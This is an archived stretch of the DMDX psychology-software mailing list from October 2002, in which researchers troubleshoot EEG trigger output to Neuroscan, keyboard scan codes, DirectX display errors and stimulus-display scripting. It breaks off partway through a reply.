from conversion-daemon.smtp2.doit.wisc.edu by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) id <0H4I00K0110KIS@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Thu, 24 Oct 2002 13:41:32 -0500 (CDT) Received: from CurtinOffice (b187.psych.wisc.edu [144.92.195.187]) by smtp2.doit.wisc.edu (iPlanet Messaging Server 5.2 HotFix 0.8 (built Jul 12 2002)) with SMTP id <0H4I000UF137I8@smtp2.doit.wisc.edu> for DMDX@psy1.psych.arizona.edu; Thu, 24 Oct 2002 13:37:55 -0500 (CDT) Date: Thu, 24 Oct 2002 13:35:40 -0500 From: ""John J. Curtin"" Subject: [DMDX] RE: Re: RE: sending triggers to Neuroscan In-reply-to: <3DB8198F.5070009@ling.uni-potsdam.de> To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 8BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Have you set the hold value correctly (to 255. Default is 0 I believe) in the Neuroscan set-up file? Do you get any triggers? You can use the Neuroscan test hardware trigger port option to view the input to the trigger port. J John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 W. Johnson St. Madison, WI 53706 Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Email: jjcurtin@wisc.edu -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of ruben van de vijver Sent: Thursday, October 24, 2002 11:02 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: RE: sending triggers to Neuroscan Hi, We are trying to send triggers to neuroscan, we have run the program below but no triggers seem to arrive (although the program runs flawlessly). We have run another program, not using dmdx but (dos-based) erts instead, and then triggers do arrive. Has anybody had similar experiences? best, ruben John J. Curtin wrote: > d119 f1 1024,768,768,32,0> > >1 o1 ""neg"" <% 360>/; >2 o2 ""pos"" <% 360>/; >3 o2 ""pos"" <% 360>/; >4 o1 ""neg"" <% 360>/; > > >Use keyword in the header to run IOcard in non-latched mode. >The 5 indicates that output will revert to hold value after 5ms. Set the >hold value (I use 255) to match hold value in the ns setup file. > >Then simply use the (or o) keyword in each item in the same frame >as you present the bmp file to mark the onset of the bmp presentation. > >In the above example, using a refresh of 60hz, two slides (a negative and >positively valent slide) are presented for approx 6 s on a specific trial >and I mark the valence of the slide with the output code sent to the ns >physio file. ISI of approx 2s > >J > > > >John J. Curtin, Ph.D. >Assistant Professor of Psychology >University of Wisconsin >1202 W. Johnson St. >Madison, WI 53706 >Office: 608-262-0387 >Lab: 608-262-5621 >Cell: 608-217-6221 >Email: jjcurtin@wisc.edu > >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Paul Dockree >Sent: Wednesday, October 23, 2002 11:43 AM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] sending triggers to neuroscan > > > > > >>I have recently set up a test of attention presenting visual stimuli in >>DMDX in the form of .bmp files. I need to send triggers to neuroscan (EEG >>software) to mark each visual presentation. Any advice on how I might do >>this would be appreiciated. >> >>Kind regards, >> >>Paul. >> >> >>------------------------------------------ >>Paul Dockree >> >>Department of Psychology >>�ras an Phiarsaigh >>University of Dublin >>Trinity College >>Dublin 2 >>Ireland >> >>Tel: +353 (0)1 608 3083 >> >> > >------------------------------------------ >Paul Dockree > >Department of Psychology >�ras an Phiarsaigh >University of Dublin >Trinity College >Dublin 2 >Ireland > >Tel: +353 (0)1 608 3083 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > > ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 25 07:55:03 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9PEsEMS012294 for ; Fri, 25 Oct 2002 07:54:14 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.11.6) id g9PEp0524288 for dmdx@psy1.psych.arizona.edu; Fri, 25 Oct 2002 16:51:00 +0200 (MEST) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.11.6) with ESMTP id g9PEowT24273 for ; Fri, 25 Oct 2002 16:50:58 +0200 (MEST) Received: from boris (rec1049.psycho.univ-paris5.fr [172.21.40.49]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id QAA11203 for ; Fri, 25 Oct 2002 16:50:58 +0200 (MET DST) Message-ID: <009d01c27c36$fd430020$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: References: <5.1.0.14.2.20021022100553.00b12878@psy1.psych.arizona.edu> <5.1.0.14.2.20021024084122.00b128a0@psy1.psych.arizona.edu> Subject: [DMDX] french keyboard Date: Fri, 25 Oct 2002 16:58:33 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, On a french keyboard: #42 is indeed the left shift key #54 is indeed the right shift key #57 is indeed the spacebar >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 25 08:42:58 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9PFgtMS012417 for ; Fri, 25 Oct 2002 08:42:55 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9PFdfm9028914 for ; Fri, 25 Oct 2002 08:39:42 -0700 (MST) Message-Id: <5.1.0.14.2.20021025083924.00b128a0@psy1.psych.arizona.edu> Date: Fri, 25 Oct 2002 08:39:41 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: french keyboard In-Reply-To: <009d01c27c36$fd430020$312815ac@psycho.univparis5.fr> References: <5.1.0.14.2.20021022100553.00b12878@psy1.psych.arizona.edu> <5.1.0.14.2.20021024084122.00b128a0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks Boris. At 04:58 PM 10/25/2002 +0200, you wrote: >Hi, > >On a french keyboard: > >#42 is indeed the left shift key >#54 is indeed the right shift key >#57 is indeed the spacebar /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 25 13:07:30 2002 Received: from mr1.ucalgary.ca (mr1.ucalgary.ca [136.159.34.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9PK6wMS013049 for ; Fri, 25 Oct 2002 13:06:59 -0700 Received: from vs1.acs.ucalgary.ca (vs1.acs.ucalgary.ca [136.159.34.108]) by mr1.ucalgary.ca (Postfix) with ESMTP id B325D7D6A for ; Fri, 25 Oct 2002 14:03:40 -0600 (MDT) Received: from ucalgary.ca (mserve2.acs.ucalgary.ca [136.159.34.55]) by vs1.acs.ucalgary.ca (8.11.6/8.11.6) with ESMTP id g9PK3eC21896 for ; Fri, 25 Oct 2002 14:03:40 -0600 Received: from wmsrv1.acs.ucalgary.ca(136.159.34.156) by mserve2.acs.ucalgary.ca via smap (V2.0) id ZZ530364; Fri, 25 Oct 2002 14:02:59 -0600 Message-id: <200210252002.ZZ530364@mserve2.acs.ucalgary.ca> Date: Fri, 25 Oct 2002 20:02:56 -0000 To: Subject: [DMDX] input devise error message From: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I was wondering if anyone is familiar with the error message ""Cannot use rawjoystick device under NT/2k/XP"". I noticed in the help pages that it states ""Rawjoystick is not available under NT & later (2k & XP)"", but I am uncertain what this means. Any help is muchly appreciated. Thanks, Stephanie >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 25 16:16:16 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9PNFTMS013360 for ; Fri, 25 Oct 2002 16:15:30 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DB93D2800018699 for DMDX@psy1.psych.arizona.edu; Fri, 25 Oct 2002 16:12:16 -0700 Message-Id: <5.1.0.14.2.20021025161040.00b1b508@psy1.psych.arizona.edu> Date: Fri, 25 Oct 2002 16:12:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: input devise error message In-Reply-To: <200210252002.ZZ530364@mserve2.acs.ucalgary.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:02 PM 10/25/2002 +0000, you wrote: >Hi, > >I was wondering if anyone is familiar with the error message ""Cannot use >rawjoystick device under NT/2k/XP"". I noticed in the help pages that it >states ""Rawjoystick is not available under NT & later (2k & XP)"", but I am >uncertain what this means. Any help is muchly appreciated. It means what it says, you can't use that device under the OS you're using (direct I/O is now illegal). You'll have to use the DirectX Joystick device instead. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It is easier to write an incorrect program than understand a correct one. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 25 20:09:36 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9Q38tMS013657 for ; Fri, 25 Oct 2002 20:08:55 -0700 Received: from PYSCMASTERS06 ([137.154.108.112]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9Q35d117828 for ; Sat, 26 Oct 2002 13:05:39 +1000 (EST) Message-ID: <002401c27c9d$9c2ade40$706c9a89@PYSCMASTERS06> From: ""Arch Tibben"" To: Subject: [DMDX] Re: write to o/p file Date: Sat, 26 Oct 2002 13:13:08 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0021_01C27CF1.6D876EB0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0021_01C27CF1.6D876EB0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable > At 09:11 AM 10/22/2002 +1000, you wrote: > >I'm trying to get my existing programs running on another system. > > > >1) An continual error that I encounter is ""Write to output file=20 > >failed Disk Full. > > >=20 > So is the disk full? Maybe DMDX doesn't have write privilege = (happens=20 > with NTFS pretty easily, almost impossible with 9X). Perhaps Scandisk = > needs to be run because the machines's file system is not integral (ie = it's=20 > busted and needs to be fixed). The system is a intel pentium 4. It is interesting that when I run DMDX = , use browse to load my program (BMP Files), select ,and then run the = (Write to output file=20 failed Disk Full) occurs. However it I exit the DMDX and then open it = up again, my programe runs OK with out fault. It seems that selecting my = program and running it does not work . I need to exsit DMDX reload it = and use run immediately . Hope this is clear OP a,b >=20 > >2) Another is pixel incompatibility when setting up on another = laptop. > >I have run timdx and tried to fine tune the sleep and retrace times. >=20 > Old laptops and their display drivers are terrible. Perhaps you'll = have=20 > to limit display modes to 256 colors on older machines. I have done this . The laptop is a Toshiba TE 2000 which should be more = than adequate to handle graphics files . I have reinstalled Directx = and tested it. Also the display settings seem OK . As soon as I select = the DMDX program or even Time DX, I find this (DDERR pixel = incompatability message) appears. =20 >=20 > > > > >arch >=20 >=20 > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >=20 > I like the word 'indolence.' It makes my laziness seem classy. > - Bern Williams >=20 >=20 > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ------=_NextPart_000_0021_01C27CF1.6D876EB0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable > At 09:11 AM 10/22/2002 +1000, you wrote:> >I'm = trying to get=20 my existing programs running on another system.> >> = >1) An=20 continual error that I encounter is ""Write to output file >=20 >failed  Disk Full.> >> >    = So is the=20 disk full?  Maybe DMDX doesn't have write privilege (happens = > with=20 NTFS pretty easily, almost impossible with 9X).  Perhaps Scandisk = >=20 needs to be run because the machines's file system is not integral (ie = it's=20 > busted and needs to be fixed).   The system is a intel pentium 4. It is = interesting=20 that  when I run DMDX , use browse to load my program (BMP = Files),=20 select ,and then run the (Write to output file failed  = Disk Full)=20 occurs. However  it I exit the DMDX and then open it up again, my = programe=20 runs OK with out fault. It seems that selecting my program and running = it does=20 not work . I need to exsit DMDX reload it and use run immediately . Hope = this is=20 clearOP  a,b > > >2)  Another is = pixel=20 incompatibility  when setting up on another laptop.> >I = have run=20 timdx and tried to fine tune the sleep and retrace times.> = >=20    Old laptops and their display drivers are terrible.  = Perhaps=20 you'll have > to limit display modes to 256 colors on older=20 machines.   I have done this . The laptop is a Toshiba TE = 2000=20 which should be more than adequate to handle graphics =20 files .   I have reinstalled Directx and tested it. Also = the=20 display settings seem OK .   As soon as I select the DMDX=20 program or even Time DX, I find this (DDERR pixel incompatability = message)=20 appears.   > > >> > = >arch>=20 > >=20             &= nbsp;           &n= bsp;           &nb= sp;          =20 /""\\>   -jonathan=20 (j.c.f.)           = ;            =     =20 \\ />=20             &= nbsp;           &n= bsp;           &nb= sp;           =20 X>      ASCII RIBBON CAMPAIGN - AGAINST HTML=20 MAIL  / \\> >    I like the word = 'indolence.' It=20 makes my laziness seem classy.>=20             &= nbsp;           &n= bsp;           &nb= sp;           &nbs= p;=20 - Bern Williams> > >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>=20    Send mail to DMDX-request@psy1.psy= ch.arizona.edu=20 with the word>   'unsubscribe' by itself with no quotes in = the body=20 of the email>   to be removed from the list.  The list = archive=20 is available here:>=20           http://psy1.ps= ych.arizona.edu/cgi-bin/DMDX/thread>=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= ------=_NextPart_000_0021_01C27CF1.6D876EB0-- >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 25 21:01:26 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9Q41NMS013783 for ; Fri, 25 Oct 2002 21:01:23 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9Q3w8S0013657 for ; Fri, 25 Oct 2002 20:58:08 -0700 (MST) Message-Id: <5.1.0.14.2.20021025204753.00b128a0@psy1.psych.arizona.edu> Date: Fri, 25 Oct 2002 20:58:03 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: write to o/p file In-Reply-To: <002401c27c9d$9c2ade40$706c9a89@PYSCMASTERS06> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:13 PM 10/26/2002 +1000, you wrote: > > At 09:11 AM 10/22/2002 +1000, you wrote: > > >I'm trying to get my existing programs running on another system. > > > > > >1) An continual error that I encounter is ""Write to output file > > >failed Disk Full. > > > > > > > So is the disk full? Maybe DMDX doesn't have write privilege (happens > > with NTFS pretty easily, almost impossible with 9X). Perhaps Scandisk > > needs to be run because the machines's file system is not integral (ie > it's > > busted and needs to be fixed). > >The system is a intel pentium 4. It is interesting that when I run DMDX , >use browse to load my program (BMP Files), select ,and then run the (Write >to output file >failed Disk Full) occurs. However it I exit the DMDX and then open it up >again, my programe runs OK with out fault. It seems that selecting my >program and running it does not work . I need to exsit DMDX reload it and >use run immediately . Hope this is clear If you have NTFS for a file system (under windows 2000 or XP) then perhaps you've got the privileges set weirdly. What version of DMDX are we talking about? There is a slight difference between running DMDX without browsing to a new file, the current working directory probably moves so temporary files might get written to different locations. Check the security settings on both the directory that contains DMDX.EXE and the directory that contains your item files. >OP a,b > > > >2) Another is pixel incompatibility when setting up on another laptop. > > >I have run timdx and tried to fine tune the sleep and retrace times. > > > > Old laptops and their display drivers are terrible. Perhaps you'll > have > > to limit display modes to 256 colors on older machines. > >I have done this . The laptop is a Toshiba TE 2000 which should be more >than adequate to handle graphics files . I have reinstalled Directx and >tested it. Also the display settings seem OK . As soon as I select the >DMDX program or even Time DX, I find this (DDERR pixel incompatability >message) appears. > > Perhaps you need to change the color depth of the desktop. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 25 21:21:54 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9Q3xXMS013755 for ; Fri, 25 Oct 2002 20:59:33 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9Q3uHS0013264 for ; Fri, 25 Oct 2002 20:56:17 -0700 (MST) Message-Id: <5.1.0.14.2.20021025205228.00b21e70@psy1.psych.arizona.edu> Date: Fri, 25 Oct 2002 20:56:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] busted search Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Until I get the list serv threader working again if people need to search the archives I suggest using the links to the whole text file (http://psy1.psych.arizona.edu/~petidomo/dmdx/DMDXlistarchive.txt for example) and searching that instead. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 26 13:21:12 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9QKK6MS014556 for ; Sat, 26 Oct 2002 13:20:07 -0700 Received: from archb1vvblbiks ([137.154.102.46]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9QKGm110177 for ; Sun, 27 Oct 2002 07:16:48 +1100 (EST) Message-ID: <001001c27d2b$663a7cd0$2e669a89@archb1vvblbiks> From: ""Arch Tibben"" To: References: <5.1.0.14.2.20021025204753.00b128a0@psy1.psych.arizona.edu> Subject: [DMDX] Re: write to o/p file Date: Sun, 27 Oct 2002 07:08:05 +1100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi J the version Of DMX is 3.0.0.04 and the exact error meassage is "" Create Surface failed DDERR- invalid pixel Format (88760091) Pixal format was in valid as specified"" My Graphics card is the trident video accelerator cyberblade XP Ai1 X V5.9030-008A.221CDNP Drawversion 5.0.2195.144 memory 16mb It seems to e the latest toshiba drivers arch ----- Original Message ----- From: ""j.c.f."" To: Sent: Saturday, October 26, 2002 2:58 PM Subject: [DMDX] Re: write to o/p file > At 01:13 PM 10/26/2002 +1000, you wrote: > > > At 09:11 AM 10/22/2002 +1000, you wrote: > > > >I'm trying to get my existing programs running on another system. > > > > > > > >1) An continual error that I encounter is ""Write to output file > > > >failed Disk Full. > > > > > > > > > > So is the disk full? Maybe DMDX doesn't have write privilege (happens > > > with NTFS pretty easily, almost impossible with 9X). Perhaps Scandisk > > > needs to be run because the machines's file system is not integral (ie > > it's > > > busted and needs to be fixed). > > > >The system is a intel pentium 4. It is interesting that when I run DMDX , > >use browse to load my program (BMP Files), select ,and then run the (Write > >to output file > >failed Disk Full) occurs. However it I exit the DMDX and then open it up > >again, my programe runs OK with out fault. It seems that selecting my > >program and running it does not work . I need to exsit DMDX reload it and > >use run immediately . Hope this is clear > > If you have NTFS for a file system (under windows 2000 or XP) then > perhaps you've got the privileges set weirdly. What version of DMDX are we > talking about? There is a slight difference between running DMDX without > browsing to a new file, the current working directory probably moves so > temporary files might get written to different locations. Check the > security settings on both the directory that contains DMDX.EXE and the > directory that contains your item files. > > >OP a,b > > > > >2) Another is pixel incompatibility when setting up on another laptop. > > > >I have run timdx and tried to fine tune the sleep and retrace times. > > > > > > Old laptops and their display drivers are terrible. Perhaps you'll > > have > > > to limit display modes to 256 colors on older machines. > > > >I have done this . The laptop is a Toshiba TE 2000 which should be more > >than adequate to handle graphics files . I have reinstalled Directx and > >tested it. Also the display settings seem OK . As soon as I select the > >DMDX program or even Time DX, I find this (DDERR pixel incompatability > >message) appears. > > > > > Perhaps you need to change the color depth of the desktop. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Every purchase has its price. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Sat Oct 26 18:33:15 2002 Received: from breaker.dakotacom.net (breaker.dakotacom.net [66.192.152.146]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9R1WXMS014853 for ; Sat, 26 Oct 2002 18:32:33 -0700 Received: from anybodyi.u.arizona.edu (uofa-dsl-11.dakotacom.arizona.edu [150.135.175.11]) by breaker.dakotacom.net (8.12.2/x.y.z) with ESMTP id g9R1TFS0022380 for ; Sat, 26 Oct 2002 18:29:15 -0700 (MST) Message-Id: <5.1.0.14.2.20021026182628.00b12878@psy1.psych.arizona.edu> Date: Sat, 26 Oct 2002 18:29:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: write to o/p file In-Reply-To: <001001c27d2b$663a7cd0$2e669a89@archb1vvblbiks> References: <5.1.0.14.2.20021025204753.00b128a0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:08 AM 10/27/2002 +1100, you wrote: > Hi J the version Of DMX is 3.0.0.04 and the exact error meassage is "" >Create Surface failed > DDERR- invalid pixel Format (88760091) > Pixal format was in valid as specified"" > >My Graphics card is the trident video accelerator cyberblade XP Ai1 X >V5.9030-008A.221CDNP >Drawversion 5.0.2195.144 > >memory 16mb >It seems to e the latest toshiba drivers So it's busted. You could hunt up reference drivers from Trident or whatever the company is that makes the Trident chips. Unless you want to try using other video modes there's nothing else I can suggest other than using another computer. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Every purchase has its price. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 30 11:02:20 2002 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9UHUJMS019709 for ; Wed, 30 Oct 2002 10:30:20 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.11.6) id g9UHQos24789 for dmdx@psy1.psych.arizona.edu; Wed, 30 Oct 2002 18:26:50 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.11.6) with ESMTP id g9UHQlT24775 for ; Wed, 30 Oct 2002 18:26:48 +0100 (MET) Received: from ALARIO (rec1193.psycho.univ-paris5.fr [172.21.40.193]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with ESMTP id SAA11811 for ; Wed, 30 Oct 2002 18:26:47 +0100 (MET) From: ""F.-Xavier ALARIO"" To: Subject: [DMDX] Constant picture display during an experiment? Date: Wed, 30 Oct 2002 18:25:50 +0100 Message-ID: <000001c28039$67a3bb70$c12815ac@ALARIO> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello all I have been trying to program a picture naming experiment with the following characteristics: I want a fixation point, the picture, the picture disappears when the subject responds (recordvocal and digitalvox inputs) and then a question mark blocks the experiment until the space bar is pressed. That's easy, what is difficult is to have a permanent white square, the size of the pictures, at the screen location where the pictures appear. In other words, throughout the experiment there is a medium sized white screen on the center on the screen, with black around it and the stimuli appear on that square. This is difficult to program because making disappear the picture when the subject response is detected (which is a must) does not disappear the content but simply cleans the screen. This means that the screen goes back to its background color: in principle black. Black background color is disareable because white backgrounds tend to give headaches, because they are very luminous. A consequence of all this is that the program makes the white square appear and disappear (it is tied to the stimuli presentation) I have found one way to go around that, the following program does it, although ONLY on my laptop. The trick is to use a very low resolution video mode (which in the laptop results in DMDX using only a fraction of the screen) and a white background color. The screen fraction then IS the small white square I am after. The problem is that the trick doesn't work on regular screens (i.e., desktop PC's). There , choosing a very low resolution video mode results in DMDX using the whole screen..; at a low resolution. I wonder if anyone out there has addressed such a specific problem, but I'll be happy to read about ""presenting stimuli that remain visible throughout an experiment"" Cheers Xavier PS script follows: +001 / / ""empty.bmp"" / ""fixation.bmp"" / *""Fill-A-Barrel.BMP"" ;0 ""question.bmp""; +001 / / ""empty.bmp"" / ""fixation.bmp"" / *""Fill-A-Bell.BMP"" ;0 ""question.bmp""; +001 / ""empty.bmp"" / ""fixation.bmp"" / * ""Fill-A-Comb.BMP"" ;0 ""question.bmp""; >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 30 12:57:32 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9UJvMMS019906 for ; Wed, 30 Oct 2002 12:57:22 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DBFD5C3000122FA for DMDX@psy1.psych.arizona.edu; Wed, 30 Oct 2002 12:53:53 -0700 Message-Id: <5.1.0.14.2.20021030124629.00b13278@psy1.psych.arizona.edu> Date: Wed, 30 Oct 2002 12:53:52 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Constant picture display during an experiment? In-Reply-To: <000001c28039$67a3bb70$c12815ac@ALARIO> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:25 PM 10/30/2002 